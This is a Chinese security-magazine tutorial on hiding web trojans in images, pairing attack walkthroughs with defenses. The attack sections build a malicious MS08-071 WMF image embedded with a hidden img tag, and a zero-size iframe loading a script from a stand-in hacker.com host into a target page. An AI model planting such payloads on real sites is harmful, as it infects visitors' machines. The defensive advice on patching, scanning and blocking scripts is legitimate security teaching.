害群之“马”潜伏图片中
安全阵线
文章要点:了解常用图片挂马方式
文章难度:★★
学习进程:√ IFRAME挂马
√ JS挂马
√ CSS挂马
√图片挂马
ActiveX挂马
……
在网页挂马历史中,图片挂马是非常“古老”的。为什么古老的挂马技术到现在还在大量被使用?为什么它能肆无忌惮?我们又该怎么防范它?身为一名安全工程师,这些你不能不知道……
锐甲团队李海波:许多著名的论坛都出现过被黑客利用图片挂马的事件,图片挂马是一种典型的溢出攻击,这种攻击非常危险。黑客利用图片挂马的途径花样百出,最典型的途径就是广告方式,曾经就出现过黑客购买某门户网站的广告位置用来挂马的事件。由于某些网站为了方便广告客户更换广告,因此广告图片都不是保存在自己网站空间中的,而是直接指向了客户指定的地址,因此黑客在购买广告位置之后,将指向广告的图片修改为恶意溢出图片,导致了许多用户误认为是该门户网站被黑客挂马。
部分网站管理人员在做网站安全维护的时候,往往认为维护一次就可以了,不是忽略了反病毒系统的升级就是忘记了定期审查程序和系统,进行有计划的维护,因此导致许多网站屡屡被黑客溢出攻击。所以一个合格的安全工程师,应该做到面对复杂项目也能有事无巨细地进行审核排查的耐心,时刻关注各种安全公告的发布与更新。这是防堵网络挂马的终极策略。
备受青睐的图片挂马
黑客们之所以热衷于用图片挂马的方式抓肉鸡,主要是图片挂马的隐蔽性相对较高,网管想在成千上万张图片中找到有害文件,既费时又费力。此外,通过嵌入的方式将看似没有问题的图片嵌入网页中,本身就很难发现。
更重要的是,图片永远是捕获肉鸡的最好诱饵。黑客往往只需要将木马挂到网站上之后,再取一个耸人听闻或者暗示性极强的名字,就会有源源不断的肉鸡找上门来。所以图片挂马就如同古代传说中会吃人的美人鱼一样,先用动听的歌声将在大海中航行的水手迷惑,让他们偏离航向,进而自投罗网落入美人鱼布好的陷阱中。
图片挂马的主要方式有两种,一种是直接利用JPG漏洞、GDI漏洞或者ANI漏洞等进行溢出挂马,将制作好的溢出文件,直接上传或者链接到入侵的网站中,等待没有打补丁的用户中招。
另外一种是将图片伪装后挂马。将包含JS代码或者IFRAME代码的网页木马加密后添加到HTML文件中。
图片挂马攻防实录
方式1:图片漏洞挂马
攻这种挂马方式主要利用的是系统或者建站程序的漏洞。我们以MS08-071漏洞为例讲解这种挂马方式。首先打开《MS08-071漏洞溢出生成器》,在地址一栏中输入木马所在地址(图1),然后在图片地址选项中选择一张

正常的图片(优先选择BMP格式图片),点击“生成”之后,含有恶意代码的图片(WMF格式)就出现在溢出程序所在的目录中了(图2)。

小百科:MS08-071漏洞是一个远程代码执行漏洞,如果用户打开特制的 WMF文件、图像文件等,就会触发漏洞,被黑客远程控制。黑客拥有查看、更改、删除数据或者创建新账户的权限。
恶意图片生成后,接下来将它保存到指定的网站中,在需要挂马的网页中添加正常的图片显示代码:<img src="http://192.168.1.178/ms08071.wmf" width="1" height="1" />,这里的IP地址要根据实际情况进行修改。代码添加完成之后,所有访问者都会在浏览该网页时中招。
防防范这种图片挂马方式最好的办法就是部署服务器反病毒系统,通常反病毒系统在查杀这种漏洞溢出木马时效率和速度会比较高。在必要时,也要提醒工作单位的员工及时升级系统补丁,防止内部感染。这种通过恶意图片进行溢出挂马的方式目前有JPG、GIF、ANI、GDI等许多种,方法大同小异。
此外,由于溢出文件的图片虽然有时候能够正常显示,但是多数时候仍然是无法正常显示的,特别是在用略缩图查看图片文件时,含有恶意代码的溢出图片往往无法正常显示,因此安全工程师可以使用Windows资源管理器中的略缩图查看功能,查看一下网站中哪些图片无法在略缩图模式下正常显示。
方式2:图片伪装挂马
攻这种方法比较简单,所以在最近非常盛行。具体操作方法如下:先准备好特制的JS挂马代码,然后打开写字板,输入HTML代码 (将框架内嵌的木马地址设为图片木马网页的地址):
<html>
<iframe. src=" http://www.hacker.com/test.js " height=0 width=0></iframe>
<img src=" http://www.hacker.com/1.jpg "></center>
</html>
将代码插入目标网站内页或另存为HTML再上传到目标网站,当用户访问该网页时,就会中招(图3)。


这种挂马方式其实是利用图片作为转移网页访问者视线的一种方式。更早之前,我们可以将类似的HTML代码直接另存为GIF文件,上传或者挂到动网论坛中,不过现在直接保存为GIF的方法已经失效了。
防这种挂马的防范方法跟防范IFRAME挂马的方法类似,通过JS代码就可以阻断外域的JS文件运行。
iframe{zimo1:expression(this.src='about:blank',this.outerHTML='');}
script{zimo2:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
这段代码立即调用IE私有的execCommand方法来停止页面所有请求,所以外域JS文件也被强制停止下载了,就像我们点了浏览器的“停止”按钮一样。